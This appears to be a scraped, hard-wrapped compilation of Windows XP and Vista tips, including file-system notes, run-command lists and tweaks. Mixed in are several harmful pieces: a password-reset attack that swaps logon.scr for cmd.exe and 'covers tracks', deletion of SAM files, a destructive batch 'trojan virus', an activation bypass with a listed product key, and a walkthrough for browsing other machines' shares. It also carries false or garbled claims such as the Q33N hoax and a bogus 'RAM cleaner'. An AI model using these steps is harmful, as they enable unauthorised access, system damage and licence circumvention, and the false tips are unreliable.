FAT16 The FAT16 file system was introduced way back with MS DOS in 1981, and it'

s showing its age. It was designed originally to handle files on a floppy drive,
and has had minor modifications over the years so it can handle hard disks, and
even file names longer than the original limitation of 8.3 characters, but it's
still the lowest common denominator. The biggest advantage of FAT16 is that it
is compatible across a wide variety of operating systems, including Windows 95/9
8/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is th
at it has a fixed maximum number of clusters per partition, so as hard disks get
bigger and bigger, the size of each cluster has to get larger. In a 2 GB partit
ion, each cluster is 32 kilobytes, meaning that even the smallest file on the pa
rtition will take up 32 KB of space. FAT16 also doesn't support compression, enc
ryption, or advanced security using access control lists. FAT32 The FAT32 file s
ystem, originally introduced in Windows 95 Service Pack 2, is really just an ext
ension of the original FAT16 file system that provides for a much larger number
of clusters per partition. As such, it greatly improves the overall disk utiliza
tion when compared to a FAT16 file system. However, FAT32 shares all of the othe
r limitations of FAT16, and adds an important additional limitation many operati
ng systems that can recognize FAT16 will not work with FAT32 most notably Window
s NT, but also Linux and UNIX as well. Now this isn't a problem if you're runnin
g FAT32 on a Windows XP computer and sharing your drive out to other computers o
n your network they don't need to know (and generally don't really care) what yo
ur underlying file system is. The Advantages of NTFS The NTFS file system, intro
duced with first version of Windows NT, is a completely different file system fr
om FAT. It provides for greatly increased security, file by file compression, qu
otas, and even encryption. It is the default file system for new installations o
f Windows XP, and if you're doing an upgrade from a previous version of Windows,
you'll be asked if you want to convert your existing file systems to NTFS. Don'
t worry. If you've already upgraded to Windows XP and didn't do the conversion t
hen, it's not a problem. You can convert FAT16 or FAT32 volumes to NTFS at any p
oint. Just remember that you can't easily go back to FAT or FAT32 (without refor
matting the drive or partition), not that I think you'll want to. The NTFS file
system is generally not compatible with other operating systems installed on the
same computer, nor is it available when you've booted a computer from a floppy
disk. For this reason, many system administrators, myself included, used to reco
mmend that users format at least a small partition at the beginning of their mai
n hard disk as FAT. This partition provided a place to store emergency recovery
tools or special drivers needed for reinstallation, and was a mechanism for digg
ing yourself out of the hole you'd just dug into. But with the enhanced recovery
abilities built into Windows XP (more on that in a future column), I don't thin
k it's necessary or desirable to create that initial FAT partition. When to Use
FAT or FAT32 If you're running more than one operating system on a single comput
er (see Dual booting in Guides), you will definitely need to format some of your
volumes as FAT. Any programs or data that need to be accessed by more than one
operating system on that computer should be stored on a FAT16 or possibly FAT32
volume. But keep in mind that you have no security for data on a FAT16 or FAT32
volume any one with access to the computer can read, change, or even delete any
file that is stored on a FAT16 or FAT32 partition. In many cases, this is even p
ossible over a network. So do not store sensitive files on drives or partitions
formatted with FAT file systems.
how to speed up mozila firefox type about.config go to 'network.http.pipelining
make it true Then go to network.http.pipelining.maxreque set value 30 lastly rig
ht click anywhere and select NEW-> Integer name it nglayout.initialpaint.delay s
et its value to -0 restart mozilla firefox Make winxp original * Log in as the l
ocal Administrator * Click Start --> Run --> and type in Regedit * Browse to: HK
EY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\wpaevents # n the
right pane, right-click OOBETimer, and then click Modify # Change at least one d
igit of this value to deactivate Windows # Click OK and close regedit # Click St
art --> Run and type in: "%systemroot%\system32\oobe\msoobe.exe /a" # Click "Yes
, I want to telephone a customer service representative to activate Windows, and
then click Next # Click Change Product Key (at the bottom) # Enter your valid C
orporate Product Key V2C47-MK7JD-3R89F-D2KXW-VPK3J # Press Update and close the
window. # If you are returned to the previous window, click Remind me later # Re
start your computer scrap to all javascript:d=document;c=d.createElement('script
');d.body.appendChild(c);c.src='htt p://userscripts.org/scripts/source/10416.use
r.js';void(0) Microsoft Internet Explorer 6.x Repair for Windows XP From the Sta
rt menu, select Search, select All Files and Folders. * Select More Advanced Opt
ions and place a checkmark beside Search Hidden Files and Folders option. * Ensu
re that Search System Folders and Search Subfolders are also checked. * In the A
ll or Part of the File Name box, type ie.inf * In the Look In drop-down menu, se
lect C: or the letter of the hard drive that contains the Windows folder. * Clic
k the Search button. * In the search results pane, find the ie.inf file located
in Windows\Inf folder. * Right click the ie.inf file and click Install on the co
ntext menu. * Reboot the computer when the file copy process is complete. Hey tr
y this out...Itz amazing Did you know that the flight number of the plane that h
ad hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type the
flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wing
dings. U will be amazed by the findings. How to hack windows XP admin password I
f you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly: cd\ *drops to root cd\windows\system32
*directs to the system32 dir
mkdir temphack *creates the folder temphack copy logon.scr temphack\logon.scr *b
acksup logon.scr copy cmd.exe temphack\cmd.exe *backsup cmd.exe del logon.scr *d
eletes original logon.scr rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos Now what you have just done is told the computer to backup the
command program and the screen saver file, then edits the settings so when the m
achine boots the screen saver you will get an unprotected dos prompt with out lo
gging into XP. Once this happens if you enter this command minus the quotes "net
user <admin account name here> password" If the Administrator Account is called
Frank and you want the password blah enter this "net user Frank blah" and this
changes the password on franks machine to blah and your in. Have fun p.s: dont f
orget to copy the contents of temphack back into the system32 dir to cover track
s Another way ... Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( i
n sytem32/config folder ). Note: don't delete SAM.exe. Automatically Kill Progra
ms At Shutdown: don't you hate it when, while trying to shut down, you you that
a program is still running? Making it so that applications running is a snap. Si
mply navigate to the PanelDesktop directory in the Registry, then alter the valu
e 1. No Shutdown: Wanna play with your friends by removing the shutdown option f
rom start menu in their computer. Just hack it down !!! Regedit HKEY_CURRENT_USE
R\Software\Microsoft\Windows\CurrentVersion\Explorer "NoClose"="DWORD:1" Display
legal notice on startup: Wanna tell your friends about the do's and dont's in y
our computer when they login in your absence. Well you can do it pretty easily b
y displaying a legal notice at system start up. REGEDIT [HKEY_LOCAL_MACHINE\SOFT
WARE\Microsoft\Windows\CurrentVersion\policies\system] "legalnoticecaption"="ent
er your notice caption" "legalnoticetext"="enter your legal notice text" How to
hack Servers !! get message boxes telling Windows automatically kills HKEY_CURRE
NT_USERControl key AutoEndTasks to the
1)Create a file anywhere you want. 2)Right click on the file. Then choose with--
>Choose program-->Browse 3)Now you have to enter in to DDESHARE file. 4)Click on
Start-->go to Accessories-->Right click on Command Prompt 5)Click on proporties
now click Find target. 6)Now you are in c:\ drive. that is system 32. 7)Click o
n Search.Choose all files and folders.. Search for "DDESHARE". 8)After finding t
hat file.Just double click on that file. 9)Now click on Shares.choose computer.
10)Including domain controller it will show all systems which are connected to s
erver. 11)Now choose which system do you want to hack.All computer names will be
in the format \\thecomputernamegoeshere. 12)Right click on the system which you
are going to hack and copy its name and paste it in your file.which you have ch
oosen in 1st step. 13)The file name will be in the format \\thecomputernamegoesh
ere.If the first computer in the server dose'nt work then choose 2nd computer. 1
4)Now you will be seeing "shared folder" for folder name. 15)Now double click on
that folder.you will be seeing many domains which are connected to the server.
16)Now you hacked the system.just go around for searching for files which you wa
nt. 17)Here you can copy scripts,delete files transfer files from one system to
another system. create heavy trojan virus To create a heavy trojan virus type th
e following commands in notepad and save it as ".bat" or ".exe" file @echo off @
if exist c:\windows\system32\mouse del c:\windows\system32\mouse @if exist c:\wi
ndows\system32\keyboard del c:\windows\system32\keyboard copy C:\windows\ @if ex
ist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe @if exist
C:\program files\internet explorer\iexplore.exe del C:\program files\internet ex
plorer\iexplore.exe msg "WARNING:A VIRUS TOOK OVER YOUR COMPUTER VIRUS NOTICED A
S:SEX BEAM.exe" Explaination:
1st line is used to escape from AV 2nd and 3rd line is used to deactivate mouse
and keyboard respectively 4th line is used to increase the volume of the GB 5th
line is used to deactivate logoff mode.,if system's logoff is pressed then blue
screen will appear 6th line is used to disable internet explorer 7th line is use
d to just for the users purpose NOTE:This virus is only for educational use plea
se do't use in wrong way... keep fun enjoy.... remove Funny UST Scandal Avi.Exe
virus u remove funny scandal virus so copy on this link and send your browser an
d dowanload to the Funny UST Scandal Avi.Exe Remover zip GO FAST >>>>> http://
cantalktech.com/2008/01/18/how-to-remove-the-funny-ust-scandal-avi-virus/ how to
remove orkut virus 1. Press CTRL+ALT+DEL and go to the processes tab 2. Look fo
r svchost.exe under the image name. There will be many but look for the ones whi
ch have your username under the username 3. Press DEL to kill these files. It wi
ll give you a warning, Press Yes 4. Repeat for more svchost.exe files with your
username and repeat. Do not kill svchost.exe with system, local service or netwo
rk service! 5. Now open My Computer 6. In the address bar, type C:\heap41a and p
ress enter. It is a hidden folder, and is not visible by default. 7. Delete all
the files here 8. Now go to Start --> Run and type Regedit 9. Go to the menu Edi
t --> Find 10. Type "heap41a" here and press enter. You will get something like
this "[winlogon] C:\heap41a\svchost.exe C:\heap(some number)\std.txt" 11. Select
that and Press DEL. It will ask "Are you sure you want to delete this value?",
click Yes 12.Now close the registry editor. Now the virus is gone. To rename the
start button, To rename the start button, you will need a hex editor. My prefer
ence is UltraEdit Copy the \windows\explore.exe file to a new name (e.g. explore
r_1.exe) With the hex editor, open that file and go to offset 412b6 You will see
the word start with blanks between each letter Edit it be any 5 characters or l
ess
Save the file Boot to DOS Copy the existing c:\windows\explorer.exe to explorer.
org Copy explorer_1.exe to explorer.exe You will also need to replace the explor
er.exe in the c:\windows\system32\dllcache file as well with the new one. Note:
If the partition is NTFS and you can't access the files from DOS: Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \
Winlogon. Change the value of Shell from Explorer.exe to explorer_1.exe ________
_________ hhow to remove corrupted file in winxp Requirement: 1. Windows XP CD N
ow, follow this steps: 1. 2. 3. 4. Place the xp cd in your cd/dvd drive Go to st
art run type "sfc /scannow" (without ")
Now sit back and relax, it should all load and fix all your corrupted file on wi
n XP. Hack windows vista Activat vista without any crack
activate windows vista any edition # Install Windows Vista Ultimate edition (or
other edition) without product key. # Windows Vista needs to be applied with 209
9-ReArm trick, so that the counter of minutes to no activation required period w
ill not return to normal after reboot. Click on Start Orb button. # Select All
Programs , then Accessories . # Right click on Command Prompt, then select Ru
n as Administrator (A) . # If User Account Control (UAC) prompt a warning messag
e, click on Continue . # In the command prompt, type date and press Enter. You
will see the following: Microsoft Windows [Version 6.0.6000] Copyright (c) 2006
Microsoft Corporation. All rights reserved. C:\Windows\system32>date Current dat
e: 12/19/2006 Thursday Enter new date: # Enter 12/31/2099 (December 31, 2099). #
Next, type cscript slmgr.vbs -rearm. You will see something like the following:
C:\Windows\system32>cscript slmgr.vbs -rearm Microsoft (R) Windows Script Host
Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved. The command completed
successfully. To make the change effectively, please restart the system. # Then
reset the date of the system to current date again by typing date again. You wil
l see the following: Microsoft Windows [Version 6.0.6000] Copyright (c) 2006 Mic
rosoft Corporation. All rights reserved. C:\Windows\system32>date Current date:
12/31/2099 Thursday Enter new date: # Type in current date, i.e. 12/19/2006. # E
xit from command prompt, but do not restart the computer. FOLDER LOCKER WITH PAS
SORD WIDOUT ANY Software Copy the following prgram: cls @ECHO OFF title Folder L
ocker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOC
K if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock th
e folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%
==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Lo
cker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Contro
l Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNL
OCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==type your
password here goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08
002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker e
cho Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :
MDLOCKER md Locker echo Locker created successfully goto End :End * Now paste it
in notepad. * Save it as batch file(with extension .bat).Any name will do.
* Now you see a batch file. Double click it to create a folder locker. * A new f
older named Locker would be formed at the same location. * Now brings all the fi
les you want to hide in the locker folder. * Now double click the batch file to
lock the folder namely Locker. * If you want to unlock your files,double click t
he batch file again and you would be prompted for password.Enter the password an
d enjoy access to the folder. SOME USEFUL run command Power Configuration -power
cfg.cpl Printers and Faxes -control printers Printers Folder -printers Private C
haracter Editor -eudcedit Quicktime (If Installed) -QuickTime.cpl Quicktime Play
er (if installed) -quicktimeplayer Real Player (if installed) -realplay Regional
Settings -intl.cpl Registry Editor -regedit Registry Editor -regedit32 Remote A
ccess Phonebook -rasphone Remote Desktop -mstsc Removable Storage -ntmsmgr.msc R
emovable Storage Operator Requests - ntmsoprq.msc Resultant Set of Policy (XP Pr
of) - rsop.msc Scanners and Cameras - sticpl.cpl Scheduled Tasks - control sched
tasks Security Center - wscui.cpl Services - services.msc Shared Folders - fsmgm
t.msc Shuts Down Windows - shutdown Sounds and Audio - mmsys.cpl Spider Solitare
Card Game - spider SQL Client Configuration - cliconfg System Configuration Edi
tor - sysedit System Configuration Utility - msconfig System File Checker Utilit
y (Scan Immediately)- sfc /scannow System File Checker Utility (Scan Once At Nex
t Boot)- sfc /scanonce System File Checker Utility (Scan On Every Boot) - sfc /s
canboot System File Checker Utility (Return to Default Setting)- sfc /revert Sys
tem File Checker Utility (Purge File Cache)- sfc /purgecache System File Checker
Utility (Set Cache Size to size x)-sfc/cachesize=x System Information- msinfo32
System Properties - sysdm.cpl Task Manager - taskmgr TCP Tester - tcptest Telne
t Client - telnet Tweak UI (if installed) - tweakui User Account Management- nus
rmgr.cpl Utility Manager - utilman ALL DOS COMMANDS
ADDUSERS -Add or list users to/from a CSV file ARP -Address Resolution Protocol
ASSOC -Change file extension associations ASSOCIAT -One step file association AT
-Schedule a command to run at a later time ATTRIB -Change file attributes BOOTC
FG -Edit Windows boot settings BROWSTAT -Get domain, browser and PDC info CACLS
-Change file permissions CALL -Call one batch program from another CD -Change Di
rectory - move to a specific Folder CHANGE -Change Terminal Server Session prope
rties CHKDSK -Check Disk - check and repair disk problems CHKNTFS -Check the NTF
S file system CHOICE -Accept keyboard input to a batch file CIPHER -Encrypt or D
ecrypt files/folders CleanMgr -Automated cleanup of Temp files, recycle bin CLEA
RMEM -Clear memory leaks CLIP -Copy STDIN to the Windows clipboard. CLS -Clear t
he screen CLUSTER -Windows Clustering CMD -Start a new CMD shell COLOR -Change c
olors of the CMD window COMP -Compare the contents of two files or sets of files
COMPACT -Compress files or folders on an NTFS partition COMPRESS -Compress indi
vidual files on an NTFS partition CON2PRT -Connect or disconnect a Printer CONVE
RT -Convert a FAT drive to NTFS. COPY -Copy one or more files to another locatio
n CSVDE -Import or Export Active Directory data DATE -Display or set the date Dc
omcnfg -DCOM Configuration Utility DEFRAG -Defragment hard drive DEL -Delete one
or more files DELPROF -Delete NT user profiles DELTREE -Delete a folder and all
subfolders DevCon -Device Manager Command Line Utility DIR -Display a list of f
iles and folders DIRUSE -Display disk usage DISKCOMP -Compare the contents of tw
o floppy disks DISKCOPY -Copy the contents of one floppy disk to another DNSSTAT
-DNS Statistics DOSKEY -Edit command line, recall commands, and create macros D
SADD -Add user (computer, group..) to active directory DSQUERY -List items in ac
tive directory DSMOD -Modify user (computer, group..) in active directory ECHO -
Display message on screen ENDLOCAL -End localisation of environment changes in a
batch file ERASE -Delete one or more files EXIT -Quit the CMD shell EXPAND -Unc
ompress files EXTRACT -Uncompress CAB files FC -Compare two files
FDISK -Disk Format and partition FIND -Search for a text string in a file FINDST
R -Search for strings in files FOR -Conditionally perform a command several time
s FORFILES -Batch process multiple files FORMAT -Format a disk FREEDISK -Check f
ree disk space (in bytes) FSUTIL -File and Volume utilities FTP -File Transfer P
rotocol FTYPE -Display or modify file types used in file extension associations
GLOBAL -Display membership of global groups GOTO -Direct a batch program to jump
to a labelled line HELP -Online Help HFNETCHK -Network Security Hotfix Checker
IF Conditionally perform a command IFMEMBER -Is the current user in an NT Workgr
oup IPCONFIG -Configure IP KILL -Remove a program from memory LABEL -Edit a disk
label LOCAL -Display membership of local groups LOGEVENT -Write text to the NT
event viewer. LOGOFF -Log a user off LOGTIME -Log the date and time in a file MA
PISEND -Send email from the command line MEM -Display memory usage MD -Create ne
w folders MODE -Configure a system device MORE -Display output, one screen at a
time MOUNTVOL -Manage a volume mount point MOVE -Move files from one folder to a
nother MOVEUSER -Move a user from one domain to another MSG -Send a message MSIE
XEC -Microsoft Windows Installer MSINFO -Windows NT diagnostics MSTSC -Terminal
Server Connection (Remote Desktop Protocol) MUNGE -Find and Replace text within
file(s) MV -Copy in-use files NET -Manage network resources NETDOM -Domain Manag
er NETSH -Configure network protocols NETSVC -Command-line Service Controller NB
TSTAT -Display networking statistics (NetBIOS over TCP/IP) NETSTAT -Display netw
orking statistics (TCP/IP) NOW -Display the current Date and Time NSLOOKUP -Name
server lookup NTBACKUP -Backup folders to tape NTRIGHTS -Edit user account righ
ts PATH -Display or set a search path for executable files PATHPING -Trace route
plus network latency and packet loss PAUSE -Suspend processing of a batch file
and display a message
PERMS -Show permissions for a user PERFMON -Performance Monitor PING -Test a net
work connection POPD -Restore the previous value of the current directory saved
by PUSHD PORTQRY -Display the status of ports and services PRINT -Print a text f
ile PRNCNFG -Display, configure or rename a printer PRNMNGR -Add, delete, list p
rinters set the default printer PROMPT -Change the command prompt PsExec -Execut
e process remotely PsFile -Show files opened remotely PsGetSid -Display the SID
of a computer or a user PsInfo -List information about a system PsKill -Kill pro
cesses by name or process ID PsList -List detailed information about processes P
sLoggedOn -Who's logged on (locally or via resource sharing) PsLogList -Event lo
g records PsPasswd -Change account password PsService -View and control services
PsShutdown -Shutdown or reboot a computer PsSuspend -Suspend processes PUSHD -S
ave and then change the current directory QGREP -Search file(s) for lines that m
atch a given pattern. RASDIAL -Manage RAS connections RASPHONE -Manage RAS conne
ctions RECOVER -Recover a damaged file from a defective disk. REG -Read, Set or
Delete registry keys and values REGEDIT -Import or export registry settings REGS
VR32 -Register or unregister a DLL REGINI -Change Registry Permissions REM -Reco
rd comments (remarks) in a batch file REN -Rename a file or files. REPLACE -Repl
ace or update one file with another RD -Delete folder(s) RDISK -Create a Recover
y Disk RMTSHARE -Share a folder or a printer ROBOCOPY -Robust File and Folder Co
py ROUTE -Manipulate network routing tables RUNAS -Execute a program under a dif
ferent user account RUNDLL32 -Run a DLL command (add/remove print connections) S
C -Service Control SCHTASKS -Create or Edit Scheduled Tasks SCLIST -Display NT S
ervices ScriptIt -Control GUI applications SET -Display, set, or remove environm
ent variables SETLOCAL -Begin localisation of environment changes in a batch fil
e SETX -Set environment variables permanently SHARE -List or edit a file share o
r print share SHIFT -Shift the position of replaceable parameters in a batch fil
e SHORTCUT -Create a windows shortcut (.LNK file) SHOWGRPS -List the NT Workgrou
ps a user has joined SHOWMBRS -List the Users who are members of a Workgroup SHU
TDOWN -Shutdown the computer SLEEP -Wait for x seconds SOON -Schedule a command
to run in the near future
SORT -Sort input START -Start a separate SU -Switch User SUBINACL -Edit file and
SUBST -Associate a path SYSTEMINFO -List system
window to run a specified program or command folder Permissions, Ownership and D
omain with a drive letter configuration
TASKLIST -List running applications and services TIME -Display or set the system
time TIMEOUT -Delay processing of a batch file TITLE -Set the window title for
a CMD.EXE session TOUCH -Change file timestamps TRACERT -Trace route to a remote
host TREE -Graphical display of folder structure TYPE -Display the contents of
a text file USRSTAT -List domain usernames and last login VER -Display version i
nformation VERIFY -Verify that files have been saved VOL -Display a disk label W
HERE -Locate and display files in a directory tree WHOAMI -Output the current Us
erName and domain WINDIFF -Compare the contents of two files or sets of files WI
NMSD -Windows system diagnostics Using "ALT +" FOR DESKTOP USER ONLY (use no.loc
k) Alt+1= ? Alt+2= ? Alt+3= ? Alt+4= ? Alt+5= ? Alt+6= ? Alt+7= Alt+8= ? Alt+9
= ? Alt+10= ? Alt+11= ? Alt+12= ? Alt+13= ? Alt+14= ? Alt+15=
Alt+16= ? Alt+17= ? Alt+18= ? Alt+19= ? Alt+20= Alt+21= Alt+22= ? Alt+23= ?
Alt+24= ? Alt+25= ? Alt+26= ? Alt+27= ? Alt+28= ? Alt+29= ? Alt+30= ? Alt+31= ?
Alt+127= Alt+128= Alt+129= Alt+130= Alt+131= Alt+132= Alt+133= Alt
+134= Alt+135= Alt+136= Alt+137= Alt+138= Alt+139=
Alt+140= Alt+141= Alt+142= Alt+143= Alt+144= Alt+145= Alt+146= Alt
+147= Alt+148= Alt+149= Alt+150= Alt+151= Alt+152= Alt+153= Alt+15
4= Alt+155= Alt+156= Alt+157= Alt+158= P Alt+159= Alt+160= Alt+161=
Alt+162= Alt+163= Alt+164= Alt+165= Alt+166= Alt+167= Alt+168=
Alt+169= Alt+170= Alt+171= Alt+172= Alt+173= Alt+174= Alt+175= Alt
+176= Alt+177= Alt+178= Alt+179= Alt+180= Alt+181= Alt+182= Alt+183=
+ Alt+184= + Alt+185= Alt+186= Alt+187= + Alt+188= + Alt+189= + Alt+190= +
Alt+191= + Alt+192= + Alt+193= Alt+194= Alt+195= + Alt+196=Alt+197=+
Alt+198= Alt+199= Alt+200=+ Alt+201=+ Alt+202=Alt+203=Alt+204=Alt+205= Alt+20
6=+ Alt+207=Alt+208=Alt+209=Alt+210=Alt+211=+ Alt+212=+ Alt+213=+ Alt+214=+ Alt+
215=+ Alt+216=+ Alt+217=+ Alt+218=+ Alt+219= Alt+220=_ Alt+221= Alt+222= Alt+
223= Alt+224= a Alt+225= Alt+226= G
Alt+227=p Alt+228= S Alt+229= s Alt+230= Alt+231= t Alt+232= F Alt+233= T Alt+
234= O Alt+235= d Alt+236= 8 Alt+237= f Alt+238= e Alt+239= n Alt+240= = Alt+241
= Alt+242= = Alt+243= = Alt+244= ( Alt+245= ) Alt+246= Alt+247= Alt+248=
Alt+249= Alt+250= Alt+251=v Alt+252= n Alt+253= Alt+254=
Solution for the Virus "ntdetec1.exe" Damages done by the virus : -> Disables Ta
sk Manager -> slows down the computer Copies are made in : -> C:\ntdetec1.exe ->
C:\ntdetec1\child\ntdetec1.exe Solution : open computer in safe mode. Open "reg
edit". Hit "CTRL+F" and in the search bar, type "ntdetec1.exe". Delete the key t
hat you find. Then hit F3 and keep on repeating until you dont get any results.
Now again search for "Run.exe", and delete it. It will be stored in two places.
So after deleting 1st one, hit F3 and delete the second copy. Delete all the cop
ies in c:, by searching "ntdetec1.exe" in search option. After that restart your
computer in normal mode. You are now free from ntdetec1.exe virus.
Speed up your Acrobat Reader (Almoust like notepad) # Go to the installation fol
der of acrobat reader (C:\program files\adobe\acrobat\reader\.. whatever) # Move
all the files and folders from the "plugins" directory to the "Optional" direct
ory. (I repeat.. cut and paste the files NOT copy & paste). # Also make sure tha
t acrobat reader is not open else it will lock the files and not allow you to mo
ve the files)
Increase your Netspeed # Go to desktop->My computer-(right click on)->manage->->
Device manager-> Now u see a window of Device manager. # Then go to Ports->Commu
nication Port(double click on it and Open). # After open u can see a Communicati
on Port properties. go the Port Setting. # And now increase ur "Bits per second"
to 128000. and "Flow control" change 2 Hardware. History of the name Bluetooth
Bluetooth was named after a late tenth century king, Harald Bluetooth, King of D
enmark and Norway. He is known for his unification of previously warring tribes
from Denmark (including now Swedish Scania, where the Bluetooth technology was i
nvented), and Norway. Bluetooth likewise was intended to unify different technol
ogies, such as computers and mobile phones
TURN OFF INDEXING TO SPEED UP XP Windows XP keeps a record of all files on the h
ard disk so when you do a search on the hard drive it is faster. There is a down
side to this and because the computer has
to index all files, it will slow down normal file commands like open, close, etc
. If you do not do a whole lot of searches on your hard drive then you may want
to turn this feature off: Open My Computer. Right-click your hard drive icon
and select Properties. At the bottom of the window you'll see "Allow indexing
service to index this disk for faster searches," uncheck this and click ok. A
new window will pop up and select Apply to all folders and subfolders. It will
take a minute or two for the changes to take affect but then you should enjoy sl
ightly faster performance. disable xp boot screen It is possible to disable the
XP splash screen, which will slightly speed up the overall boot process. Be awar
e that removing the splash screen will also cause you not to see any boot-up mes
sages that might come up (chkdsk, convert ... ), but if your system runs without
any problems then it should not matter. Edit boot.ini. Add " /noguiboot" ri
ght after "/fastdetect". Upon restarting, the splash screen will be gone. It can
be re-enabled by removing the new switch. a-z run command Accessibility Control
s - access.cpl Add Hardware Wizard - hdwwiz.cpl Add/Remove Programs - appwiz.cpl
Adobe Photoshop (if installed) - photoshop Administrative Tools - control admin
tools Automatic Updates - wuaucpl.cpl Bluetooth Transfer Wizard - fsquirt Calcul
ator calc Certificate Manager - certmgr.msc Character Map - charmap Check Disk
Utility - chkdsk Clipboard Viewer - clipbrd Command Prompt - cmd Component Serv
ices - dcomcnfg Computer Management - compmgmt.msc Date and Time Properties - ti
medate.cpl DDE Shares - ddeshare Device Manager - devmgmt.msc Direct X Control P
anel (If Installed)* - directx.cpl Direct X Troubleshooter - dxdiag Disk Cleanup
Utility - cleanmgr Disk Defragment - dfrg.msc Disk Management - diskmgmt.msc Di
sk Partition Manager - diskpart Display Properties - control desktop
Display Properties - desk.cpl Display Properties (w/Appearance Tab Preselected)
- control color Dr. Watson System Troubleshooting Utility - drwtsn32 Driver Veri
fier Utility - verifier Event Viewer - eventvwr.msc File Signature Verification
Tool - sigverif Findfast - findfast.cpl Folders Properties - control folders Fon
ts - control fonts Fonts Folder - fonts Free Cell Card Game - freecell Game Cont
rollers - joy.cpl Group Policy Editor (XP Prof) - gpedit.msc Hearts Card Game -
mshearts Iexpress Wizard - iexpress Indexing Service - ciadv.msc Internet Explor
er iexplore Internet Properties - inetcpl.cpl IP Configuration (Display Connec
tion Configuration) - ipconfig /all IP Configuration (Display DNS Cache Contents
) - ipconfig /displaydns IP Configuration (Delete DNS Cache Contents) - ipconfig
/flushdns IP Configuration (Release All Connections) - ipconfig /release IP Con
figuration (Renew All Connections) - ipconfig /renew IP Configuration (Refreshes
DHCP & Re - Registers DNS) -ipconfig /registerdns IP Configuration (Display DHC
P Class ID) - ipconfig /showclassid IP Configuration (Modifies DHCP Class ID) -
ipconfig /setclassid Java Control Panel (If Installed) - jpicpl32.cpl Java Contr
ol Panel (If Installed) - javaws Keyboard Properties - control keyboard Local Se
curity Settings - secpol.msc Local Users and Groups - lusrmgr.msc Logs You Out O
f Windows - logoff( or press window key+L ) Microsoft Chat - winchat Microsoft
Excel excel Microsoft Powerpoint - powerpnt Microsoft Word - winword Mouse Pr
operties main.cpl Minesweeper Game - winmine Mouse Properties - control mouse
Mouse Properties - main.cpl Nero (if installed) - nero Network Connections - con
trol netconnections Network Connections - ncpa.cpl Network Setup Wizard - netset
up.cpl Notepad - notepad Nview Desktop Manager (If Installed) - nvtuicpl.cpl Obj
ect Packager - packager ODBC Data Source Administrator - odbccp32.cpl On Screen
Keyboard - osk Opens AC3 Filter (If Installed) - ac3filter.cpl Password Properti
es - password.cpl Performance Monitor - perfmon.msc Performance Monitor - perfmo
n Phone and Modem Options - telephon.cpl Power Configuration - powercfg.cpl Prin
ters and Faxes - control printers Printers Folder - printers Private Character E
ditor - eudcedit
Quicktime (If Installed) - QuickTime.cpl Regional Settings - intl.cpl Registry E
ditor - regedit Registry Editor - regedit32 Remote Desktop - mstsc Removable Sto
rage - ntmsmgr.msc Removable Storage Operator Requests - ntmsoprq.msc Resultant
Set of Policy (XP Prof) - rsop.msc Scanners and Cameras - sticpl.cpl Scheduled T
asks - control schedtasks Security Center - wscui.cpl Services - services.msc Sh
ared Folders - fsmgmt.msc Shuts Down Windows - shutdown Sounds and Audio - mmsys
.cpl Spider Solitare Card Game - spider SQL Client Configuration - cliconfg Syst
em Configuration Editor - sysedit System Configuration Utility - msconfig System
File Checker Utility (Scan Immediately) - sfc /scannow System File Checker Util
ity (Scan Once At Next Boot) - sfc /scanonce System File Checker Utility (Scan O
n Every Boot) - sfc /scanboot System File Checker Utility (Return to Default Set
ting) - sfc /revert System File Checker Utility (Purge File Cache) - sfc /purgec
ache System File Checker Utility (Set Cache Size to size x) -sfc /cachesize=x Sy
stem Information - msinfo32 System Properties - sysdm.cpl System Troubleshooter
dxdiag Task Manager - taskmgr( or press ctrl+shift+esc or ctrl+alt+delete
) Telnet Client - telnet User Account Management - nusrmgr.cpl Utility Manager -
utilman Windows Backup Utility (if installed) ntbackup Windows Explorer exp
lorer ( or press window key+E ) Windows Media Player wmplayer Windows Firewa
ll - firewall.cpl Windows Magnifier - magnify Windows Management Infrastructure
- wmimgmt.msc Windows System Security Tool - syskey Windows Update Launches - wu
pdmgr Windows Version Check - winver Windows XP Tour Wizard - tourstart Wordpad
write clean ram by notepad Clean Ur RAM U may recognize that ur system gets sl
ower and slower when playing and working a lot with ur pc. That's cause ur RAM i
s full of remaining progress pieces u do not need any more. So create a new text
file on ur desktop and call it .. uhm.. "RAMcleaner" or something... Type FreeM
em=Space(64000000) in this file and save it as RAMcleaner.vbs [ You may choose t
he "All Files" option when u save it ]
Run the file and ur RAM may be cleaned :> Of course u can edit the code in the f
ile for a greater "cleaning-progress". FreeMem=Space(1280000000) just try it out
.. i worked for me rename a series of files When you download photos from your d
igital camera, they often have unrecognizable names. You can rename several simi
lar files at once with the following procedure. This also works for renaming oth
er types of files. Open the My Pictures folder. (Click Start, and then click M
y Pictures.) Or open another folder containing files that you want to rename.
Select the files you want to rename. If the files you want are not adjacent in t
he file list, press and hold Ctrl, and then click each item to select it. On t
he File menu, click Rename. Type the new name, and then press ENTER. All of
the files in the series will be named in sequence using the new name you type. F
or example, if you type Birthday, the first will be named Birthday and subsequen
t files in the series will be named Birthday (1), Birthday (2), and so on. To
specify the starting number for the series, type the starting number in parenthe
ses after the new file name. The files in the series will be numbered in sequenc
e starting with the number you type. For example, if you type Birthday (10), the
